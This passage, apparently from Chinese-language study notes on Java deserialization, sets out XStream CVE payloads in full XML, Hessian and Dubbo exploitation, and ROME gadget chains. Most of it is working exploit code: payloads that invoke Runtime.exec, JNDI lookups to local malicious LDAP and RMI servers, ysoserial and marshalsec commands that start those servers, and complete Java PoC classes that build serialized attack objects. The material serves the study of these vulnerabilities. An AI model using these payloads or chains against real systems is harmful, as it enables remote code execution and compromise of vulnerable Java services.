<concurrency>1008</concurrency> <escapeProcessing>true</escapeProcessing> <fetchDir>1000</fetchDir> <fetchSize>0</fetchSize> <isolation>2</isolation> <maxFieldSize>0</maxFieldSize> <maxRows>0</maxRows> <queryTimeout>0</queryTimeout> <readOnly>true</readOnly> <rowSetType>1004</rowSetType> <showDeleted>false</showDeleted> <dataSource>ldap://127.0.0.1:9999/Evil</dataSource> <params/> </default> </javax.sql.rowset.BaseRowSet> <com.sun.rowset.JdbcRowSetImpl> <default> <iMatchColumns> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> </iMatchColumns> <strMatchColumns> <string>foo</string> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> </strMatchColumns> </default> </com.sun.rowset.JdbcRowSetImpl> </jaxbObject> </dataSource> </message> <satellites/> <invocationProperties/> </packet> </indexMap> </comparator> </default> <int>3</int> <string>javax.xml.ws.binding.attachments.inbound</string> <string>javax.xml.ws.binding.attachments.inbound</string> </java.util.PriorityQueue> </java.util.PriorityQueue>priorityquine不出网链CVE-2021-21345适用版本<=1.4.15<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'> <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'> <packet> <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'> <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'> <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'> <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'> <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'> <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType> <uriProperties/> <attributeProperties/> <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'> <getter> <class>com.sun.corba.se.impl.activation.ServerTableEntry</class> <name>verify</name> <parameter-types/> </getter> </inheritedAttWildcard> </bi> <tagName/> <context> <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'> <outer-class reference='../..'/> </marshallerPool> <nameList> <nsUriCannotBeDefaulted> <boolean>true</boolean> </nsUriCannotBeDefaulted> <namespaceURIs> <string>1</string> </namespaceURIs> <localNames> <string>UTF-8</string> </localNames> </nameList> </context> </bridge> </bridge> <jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'> <activationCmd>calc</activationCmd> </jaxbObject> </dataSource> </message> <satellites/> <invocationProperties/> </packet> </indexMap> </comparator> </default> <int>3</int> <string>javax.xml.ws.binding.attachments.inbound</string> <string>javax.xml.ws.binding.attachments.inbound</string> </java.util.PriorityQueue> </java.util.PriorityQueue>priorityquine RMI注入CVE-2021-29505适用版本<=1.4.16这个payload比较特殊,只能打RMI注入,而且不能指定路由.我找了半天也没找到能自定义命令进行RMIcodebase注入的工具.好在RMIcodebase注入能使用的版本较低,一般都是配合链子去打.添加一个cc1链的依赖,在ysoserial中起一个恶意的RMIserver.java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections1 "Calc"<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> </default> <int>3</int> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'> <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'> <parsedMessage>true</parsedMessage> <soapVersion>SOAP_11</soapVersion> <bodyParts/> <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> <attachmentsInitialized>false</attachmentsInitialized> <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'> <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'> <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'> <names> <string>aa</string> <string>aa</string> </names> <ctx> <environment/> <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'> <java.rmi.server.RemoteObject> <string>UnicastRef</string> <string>127.0.0.1</string> <int>3333</int> <long>0</long> <int>0</int> <long>0</long> <short>0</short> <boolean>false</boolean> </java.rmi.server.RemoteObject> </registry> <host>127.0.0.1</host> <port>3333</port> </ctx> </candidates> </aliases> </nullIter> </sm> </message> </value> </javax.naming.ldap.Rdn_-RdnEntry> </java.util.PriorityQueue> </java.util.PriorityQueue>priorityquine1.4.17链CVE-2021-39144适用版本<=1.4.17<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> </default> <int>3</int> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class='sun.tracing.NullProvider'> <active>true</active> <providerType>java.lang.Comparable</providerType> <probes> <entry> <method> <class>java.lang.Comparable</class> <name>compareTo</name> <parameter-types> <class>java.lang.Object</class> </parameter-types> </method> <sun.tracing.dtrace.DTraceProbe> <proxy class='java.lang.Runtime'/> <implementing__method> <class>java.lang.Runtime</class> <name>exec</name> <parameter-types> <class>java.lang.String</class> </parameter-types> </implementing__method> </sun.tracing.dtrace.DTraceProbe> </entry> </probes> </handler> </dynamic-proxy> <string>calc</string> </java.util.PriorityQueue> </java.util.PriorityQueue>sorted-set1.4.17出网链CVE-2021-39146<sorted-set> <javax.naming.ldap.Rdn_-RdnEntry> <type>test</type> <value class='javax.swing.MultiUIDefaults' serialization='custom'> <unserializable-parents/> <hashtable> <default> <loadFactor>0.75</loadFactor> <threshold>525</threshold> </default> <int>700</int> <int>0</int> </hashtable> <javax.swing.UIDefaults> <default> <defaultLocale>zh_CN</defaultLocale> <resourceCache/> </default> </javax.swing.UIDefaults> <javax.swing.MultiUIDefaults> <default> <tables> <javax.swing.UIDefaults serialization='custom'> <unserializable-parents/> <hashtable> <default> <loadFactor>0.75</loadFactor> <threshold>525</threshold> </default> <int>700</int> <int>1</int> <string>lazyValue</string> <javax.swing.UIDefaults_-ProxyLazyValue> <className>javax.naming.InitialContext</className> <methodName>doLookup</methodName> <args> <string>ldap://127.0.0.1:1389/Basic/Command/calc</string> </args> </javax.swing.UIDefaults_-ProxyLazyValue> </hashtable> <javax.swing.UIDefaults> <default> <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/> <resourceCache/> </default> </javax.swing.UIDefaults> </javax.swing.UIDefaults> </tables> </default> </javax.swing.MultiUIDefaults> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>test</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>test</m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> </sorted-set>linked-hash-set链CVE-2021-39139适用版本<=1.4.17<linked-hash-set> <dynamic-proxy> <interface>map</interface> <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'> <classToInvocationHandler class='linked-hash-map'/> <defaultHandler class='sun.tracing.NullProvider'> <active>true</active> <providerType>java.lang.Object</providerType> <probes> <entry> <method> <class>java.lang.Object</class> <name>hashCode</name> <parameter-types/> </method> <sun.tracing.dtrace.DTraceProbe> <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <default> <__name>Pwnr</__name> <__bytecodes> <byte-array>[binary]</byte-array> <byte-array>[binary]</byte-array> </__bytecodes> <__transletIndex>-1</__transletIndex> <__indentNumber>0</__indentNumber> </default> <boolean>false</boolean> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> </proxy> <implementing__method> <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class> <name>getOutputProperties</name> <parameter-types/> </implementing__method> </sun.tracing.dtrace.DTraceProbe> </entry> </probes> </defaultHandler> </handler> </dynamic-proxy> </linked-hash-set>第二段字节码数据：package ysoserial; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.Serializable; public class Pwner416592915180600 extends AbstractTranslet implements Serializable { private static final long serialVersionUID = -5971610431559700674L; public Pwner416592915180600() { } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } static { Object var1 = null; Runtime.getRuntime().exec("calc.exe"); } }改这个就行在1.4.7-1.4.9版本，ReflectionConverter.canConvert()函数中添加了对EventHandler类的过滤
Hessian反序列化HessianRPC协议RPC全称为Remote Procedure Call Protocol（远程调用协议），RPC和之前学的RMI十分类似，都是远程调用服务，它们不同之处就是RPC是通过标准的二进制格式来定义请求的信息，这样跨平台和系统就更加方便RPC协议的一次远程通信过程如下:客户端发起请求，并按照RPC协议格式填充信息填充完毕后将二进制格式文件转化为流，通过传输协议进行传输服务端接收到流后，将其转换为二进制格式文件，并按照RPC协议格式获取请求的信息并进行处理处理完毕后将结果按照RPC协议格式写入二进制格式文件中并返回Hessian类似于RMI也是一种RPC工具,用来将对象序列化或反序列化。官方对Java、Python、C++......语言都进行了实现，Hessian一般在Web服务中使用，在Java里它的使用方法很简单，它定义远程对象，并通过二进制的格式进行传输。JDK自带的序列化方式，使用起来非常方便，只需要序列化的类实现了Serializable接口即可。JDK序列化会把对象类的描述和所有属性的元数据都序列化为字节流，另外继承的元数据也会序列化，所以导致序列化的元素较多且字节流很大，但是由于序列化了所有信息所以相对而言更可靠。但是如果只需要序列化属性的值时就比较浪费。其次，由于这种方式是JDK自带，无法被多个语言通用。和JDK自带的序列化方式类似，Hessian采用的也是二进制协议，只不过Hessian序列化之后，字节数更小，性能更优。目前Hessian已经出到2.0版本，相较于1.0的Hessian性能更优。相较于JDK自带的序列化，Hessian的设计目标更明确。Hessian 协议具有以下设计目标：它必须自我描述序列化类型，即不需要外部架构或接口定义。它必须与语言无关，包括支持脚本语言。它必须在一次传递中可读或可写。它必须尽可能紧凑。它必须简单，以便可以有效地测试和实施。它必须尽可能快。它必须支持 Unicode 字符串。它必须支持 8 位二进制数据，而无需转义或使用附件。它必须支持加密、压缩、签名和事务上下文信封（ transaction context envelopes )。依赖<dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0.63</version> </dependency> <dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency>各种反序列化机制借此来了解一下反序列化机制在Java中，序列化能够将一个Java对象转换为一串便于传输的字节序列。而反序列化与之相反，能够从字节序列中恢复出一个对象。参考marshalsec.pdf，我们可以将序列化/反序列化机制分大体分为两类基于Bean属性访问机制基于Field机制基于Bean属性访问机制SnakeYAMLjYAMLYamlBeansApache Flex BlazeDSRed5 IO AMFJacksonCastorJava XMLDecoder…它们最基本的区别是如何在对象上设置属性值，它们有共同点，也有自己独有的不同处理方式。有的通过反射自动调用getter(xxx)和setter(xxx)访问对象属性，有的还需要调用默认Constructor，有的处理器（指的上面列出来的那些）在反序列化对象时，如果类对象的某些方法还满足自己设定的某些要求，也会被自动调用。还有XMLDecoder这种能调用对象任意方法的处理器。有的处理器在支持多态特性时，例如某个对象的某个属性是Object、Interface、abstruct等类型，为了在反序列化时能完整恢复，需要写入具体的类型信息，这时候可以指定更多的类，在反序列化时也会自动调用具体类对象的某些方法来设置这些对象的属性值。这种机制的攻击面比基于Field机制的攻击面大，因为它们自动调用的方法以及在支持多态特性时自动调用方法比基于Field机制要多。基于Field机制基于Field机制的反序列化是通过特殊的native（方法或反射（最后也是使用了native方式）直接对Field进行赋值操作的机制，而不是通过getter、setter方式对属性赋值。Java SerializationKryoHessianjson-ioXStream…HessianDemo先写一个标准JavaBean测试用package hessian; import java.io.Serializable; public class Person implements Serializable { public String name; public int age; public Person() { } public Person(String name, int age) { this.name = name; this.age = age; } public int getAge() { return age; } public String getName() { return name; } public void setAge(int age) { this.age = age; } public void setName(String name) { this.name = name; } }package hessian; import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput; import static hessian.Tools.*; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.util.Base64; public class hessianDemo { public static void main(String[] args) throws IOException { Person person = new Person("aaa",18); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream); hessianOutput.writeObject(person); System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()))); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); HessianInput hessianInput = new HessianInput(byteArrayInputStream); System.out.println(hessianInput.readObject()); } } 基本原理Hessian反序列化漏洞的关键出在HessianInput#readObject，由于Hessian会将序列化的结果处理成一个Map，所以序列化结果的第一个byte总为M（ASCII为77）。跟进readObject()对象在进行 Hessian 反序列化过程中，会调用com.caucho.hessian.io.Deserializer#readMap()方法来恢复对象，其中会调用HashMap#put()跟进readMap()这里进到最后一个else（进第一个if，通过getDeserializer()来获取一个deserializer，后面也会触发put()的操作）调用HashMap#put()，后续代码能够触发任意类的hashcode()方法利用链ROME 之 JdbcRowSetImpl 链纯ROME链：“哦兄弟？你和我长的有点像哈”JdbcRowSetImpl 链核心是ToStringBean#toString()会调用其封装类的所有无参 getter方法，可以借助 JdbcRowSetImpl#getDatabaseMetaData() 方法触发 JNDI 注入。这里用hashcode()触发ROME触发调用是通过HashMap在 put 键值对会调用HashMap<K,V>.hash(Object)方法校验重复key，从而调用ObjectBean.hashCode()python -m http.server 7777 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#test 9999package hessian; import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput; import com.sun.rowset.JdbcRowSetImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.util.Base64; import java.util.HashMap; import static hessian.Tools.*; public class hessian_rome_jdbc { public static void main(String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); String url = "ldap://127.0.0.1:9999/test"; jdbcRowSet.setDataSourceName(url); ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet); ObjectBean objectBean = new ObjectBean(String.class, "whatever"); HashMap map = new HashMap(); map.put(objectBean, ""); setFieldValue(objectBean, "_equalsBean", new EqualsBean(ToStringBean.class, bean)); //序列化 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream); hessianOutput.writeObject(map); hessianOutput.close(); System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()))); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); HessianInput hessianInput = new HessianInput(byteArrayInputStream); hessianInput.readObject(); hessianInput.close(); } }这里解释一下为什么不能使用TemplatesImpl去作为入口.来看一下_tfacotry的定义.private transient TransformerFactoryImpl _tfactory = null;其中含有transient字段,意味着这个属性是不可序列化的。但是在TemplatesImpl的readObject中对这个属性有相应的处理._tfactory = new TransformerFactoryImpl();但是Hessian使用的是自定义的readObject,因此没有这行代码,会导致_tfactory为null。在TemplatesImpl#defineTransletClasses()方法里有调用到 _tfactory.getExternalExtensionsMap()，如果是null会出错，因此无法直接利用此链ROME＋SignObject二次反序列化java.security.SignedObjectpublic SignedObject(Serializable object, PrivateKey signingKey, Signature signingEngine) throws IOException, InvalidKeyException, SignatureException { // creating a stream pipe-line, from a to b ByteArrayOutputStream b = new ByteArrayOutputStream(); ObjectOutput a = new ObjectOutputStream(b); // write and flush the object content to byte array a.writeObject(object); a.flush(); a.close(); this.content = b.toByteArray(); b.close(); // now sign the encapsulated object this.sign(signingKey, signingEngine); }在其构造方法中，将传入的对象序列化为字节数组,并存储到content属性中。getObject()中就是个原生反序列的流程(这是个getter方法)public Object getObject() throws IOException, ClassNotFoundException { // creating a stream pipe-line, from b to a ByteArrayInputStream b = new ByteArrayInputStream(this.content); ObjectInput a = new ObjectInputStream(b); Object obj = a.readObject(); b.close(); a.close(); return obj; }so:package hessian; import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.security.*; import java.util.Base64; import java.util.HashMap; import static hessian.Tools.*; public class SignedObject_Rome { public static void main(String[] args) throws Exception { byte[] code = getBytes("hessian.evil"); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj,"_name","whatever"); setFieldValue(obj,"_bytecodes",new byte[][]{code}); setFieldValue(obj,"_class",null); ToStringBean bean = new ToStringBean(Templates.class, obj); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123); setFieldValue(badAttributeValueExpException,"val",bean); KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA"); // 设置二次反序列化入口 SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine); // 下面是常规构造 ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, signedObject); ObjectBean objectBean2 = new ObjectBean(String.class, "whatever"); HashMap map = new HashMap(); map.put(objectBean2, ""); setFieldValue(objectBean2, "_equalsBean", new EqualsBean(ToStringBean.class, toStringBean2)); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream); hessianOutput.writeObject(map); hessianOutput.close(); System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()))); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); HessianInput hessianInput = new HessianInput(byteArrayInputStream); hessianInput.readObject(); hessianInput.close(); } } 生成SignedObject构造方法所必要的参数，就这样 KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA");Apache Dubbo Hessian2 异常处理时反序列化（CVE-2021-43297）Apache Dubbo 是一款高性能的开源Java RPC框架。支持多种传输协议，例如dubbo（Dubbo Hessian2）、Hessian、RMI、HTTP等。在某些版本下，Apache Dubbo默认使用的反序列化工具 hessian 中存在反序列化漏洞，攻击者可以通过发送恶意 RPC 请求来触发该漏洞。影响环境：Apache Dubbo<=2.7.14如果Hessian2进行反序列化时抛出异常，则会进行字符串拼接操作，进而调用obj的toString()方法。类似的拼接在许多类中都有涉及，这里方便利用的是Hessian2Input.except方法。protected IOException expect(String expect, int ch) throws IOException { if (ch < 0) { return this.error("expected " + expect + " at end of file"); } else { --this._offset; try { int offset = this._offset; String context = this.buildDebugContext(this._buffer, 0, this._length, offset); Object obj = this.readObject(); return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")\n " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null"); } catch (Exception var6) { log.log(Level.FINE, var6.toString(), var6); return this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255)); } } }关键在于构造出一段畸形的恶意序列化流，使其在反序列化过程中抛出异常进入Hessian2Input.except中的字符串拼接很多read打头的方法都调用了except方法，那就找一条能用的就行，这里选用的是readString()public String readString() throws IOException { int tag = this.read(); int ch; switch (tag) { case 0: case 1: case 2: case 3: case 4: // ... case 31: this._isLastChunk = true; this._chunkLength = tag - 0; this._sbuf.setLength(0); while((ch = this.parseChar()) >= 0) { this._sbuf.append((char)ch); } return this._sbuf.toString(); case 32: case 33: case 34: case 35: case 36: case 37: case 38: case 39: case 40: case 41: case 42: case 43: case 44: case 45: case 46: case 47: case 52: case 53: case 54: case 55: case 64: case 65: case 66: case 67: case 69: case 71: case 72: case 74: case 75: case 77: case 79: case 80: case 81: case 85: case 86: case 87: case 88: case 90: case 96: case 97: case 98: // ... case 127: default: throw this.expect("string", tag); case 48: case 49: // ... } }如果tag满足case 32:及以下到default:的任何一个条件或者完全不满足任何一个default:之前的条件语句，也就是说让tag在switch语句中失配，就会进入default分支的except方法查看哪里调用了readString()，可以找到readObjectDefinition()，恰好这个方法当tag等于67时会被readObject()调用，那这里就连起来了private void readObjectDefinition(Class<?> cl) throws IOException { String type = this.readString(); int len = this.readInt(); SerializerFactory factory = this.findSerializerFactory(); Deserializer reader = factory.getObjectDeserializer(type, (Class)null); Object[] fields = reader.createFields(len); String[] fieldNames = new String[len]; for(int i = 0; i < len; ++i) { String name = this.readString(); fields[i] = reader.createField(name); fieldNames[i] = name; } ObjectDefinition def = new ObjectDefinition(type, reader, fields, fieldNames); this._classDefs.add(def); }如何让tag为67了，可以重写 writeString 指定第一次 read 的 tag 为 67, 还可以给序列化得到的bytes数组前加一个67package hessian; import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.sun.rowset.JdbcRowSetImpl; import com.sun.syndication.feed.impl.ToStringBean; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.sql.SQLException; public class Dubbo_Hessian2_rome_jdbc { public static void main(String[] args) throws IOException, SQLException { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); String url = "ldap://localhost:9999/test"; jdbcRowSet.setDataSourceName(url); ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); hessian2Output.writeObject(bean); hessian2Output.close(); byte[] data = byteArrayOutputStream.toByteArray(); byte[] poc = new byte[data.length + 1]; System.arraycopy(new byte[]{67}, 0, poc, 0, 1); System.arraycopy(data, 0, poc, 1, data.length); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(poc); Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); System.out.println(hessian2Input.readObject()); hessian2Input.close(); } }这样就可以调用任意类的toString()方法，这里用的rome。在通信时dubbo客户端会使用decode函数从客户端传来的二进制流中逐步获取RPC信息 public Object decode(Channel channel, InputStream input) throws IOException { ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), this.serializationType).deserialize(channel.getUrl(), input); //获取版本信息 String dubboVersion = in.readUTF(); this.request.setVersion(dubboVersion); this.setAttachment("dubbo", dubboVersion); //获取路径 String path = in.readUTF(); setAttachment(PATH_KEY, path); setAttachment(VERSION_KEY, in.readUTF()); ...最后的readUTF方法调用了readString。然后就是构造出畸形的序列化数据，让readString进入except方法。
ROME反序列化ROMEROME是主要用于解析RSS和Atom种子的一个Java框架。ROME支持绝大多数的RSS协议。可以从一种格式转换成另一种格式，也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。他有个特殊的位置就是ROME提供了ToStringBean这个类，提供深入的toString方法对Java Bean进行操作。依赖：<dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency>基本原理ToStringBeanRome包中的com.sun.syndication.feed.impl.ToStringBean类中，提供了toString()方法，其中有两个toString()一个有参一个无参无参toString主要是获取_obj的类名并作为参数调用有参toString有参toString可以分三布，第一步getPropertyDescriptors，获取_beanClass中的getter、setter方法，跟进getPropertyDescriptors可以看到其中调用getPDs()方法跟进getPDs()，又调用了其他有参构造获取了其中的getter、setter方法，之后将其合并赋给list属性pds，并将其转换为数组形式返回获取pds返回值中的方法名和方法之后就会Object value = pReadMethod.invoke(_obj,NO_PARAMS);反射调用该方法_obj类的该方法因此如果有对象在反序列化过程中会调用任意对象的 toString() 方法，就可以调用其他任意对象的 getter() 方法。例如在cc3链中讲到的TemplatesImpl利用链就是利用了TemplatesImpl#getOutputProperties()这个getter方法demopackage rome; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.ToStringBean; import javax.xml.transform.Templates; import java.lang.reflect.Field; import java.util.Base64; public class common { public static void main(String[] args) throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl(); byte[] code = Base64.getDecoder().decode("[binary]"); setValue(templatesimpl, "_name", "whatever"); setValue(templatesimpl, "_bytecodes", new byte[][]{code}); // 这里对_tfactory的反射赋值在反序列化链中可以不写这步，因为反序列化过程中TemplatesImpl#readObject()会对该值初始化，但Demo是直接调用toString()的 // _tfactory 需要是一个TransformerFactoryImpl对象 // 因为TemplatesImpl#defineTransletClasses()方法里有调用到 _tfactory.getExternalExtensionsMap()如果是null会出错 setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl()); ToStringBean toStringBean = new ToStringBean(Templates.class, templatesimpl); toStringBean.toString(); } public static void setValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } } 利用链ObjectBean链这条链是Rome反序列化的原型，由ysoserial 作者提出TemplatesImpl.getOutputProperties() ToStringBean.toString(String) ToStringBean.toString() EqualsBean.beanHashCode() EqualsBean.hashCode() HashMap<K,V>.hash(Object) HashMap<K,V>.readObject(ObjectInputStream)开始于HashMap#put()，如URLDNS链一般，会调用hashCode()而ObjectBean#hashCode()中会调用调用EqualsBean#beanhashCode()public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) { this._equalsBean = new EqualsBean(beanClass, obj); this._toStringBean = new ToStringBean(beanClass, obj); this._cloneableBean = new CloneableBean(obj, ignoreProperties); } // ... public int hashCode() { return this._equalsBean.beanHashCode(); }public EqualsBean(Class beanClass, Object obj) { if (!beanClass.isInstance(obj)) { throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass); } else { this._beanClass = beanClass; this._obj = obj; } } // ... public int beanHashCode() { return this._obj.toString().hashCode(); }EqualsBean#beanhashCode()调用toString()到ToStringBeanexp:package rome; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; public class ObjectBeanROme { public static void main(String[] args) throws Exception { byte[] code = Base64.getDecoder().decode("[binary]"); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_name", "whatever"); setFieldValue(obj, "_class", null); setFieldValue(obj, "_bytecodes", new byte[][]{code}); ToStringBean bean = new ToStringBean(Templates.class, obj); ObjectBean objectBean = new ObjectBean(String.class, "whatever"); HashMap map = new HashMap(); map.put(objectBean, ""); // HashMap的put()时，会调用hash() -> hashCode()，因此需要put时先传入无害数据，在通过反射来修改_equalsBean为恶意的。 setFieldValue(objectBean, "_equalsBean", new EqualsBean(ToStringBean.class, bean)); //序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(map); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); //反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj, value); } } BadAttributeValueExpException链cc5中就利用它触发TiedMapEntry类的 toString() 方法BadAttributeValueExpException#readobject()，在最后调用了toString()方法，并且它的val属性我们可以通过反射修改，那就可以直接触发到ToStringBean中的toString方法package rome; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.ToStringBean; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; public class BadAttributeValueExpExceptionRome { public static void main(String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl(); byte[] code = Base64.getDecoder().decode("[binary]"); setFieldValue(obj,"_name","whatever"); setFieldValue(obj,"_bytecodes",new byte[][]{code}); setFieldValue(obj,"_class",null); ToStringBean bean = new ToStringBean(Templates.class, obj); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123); 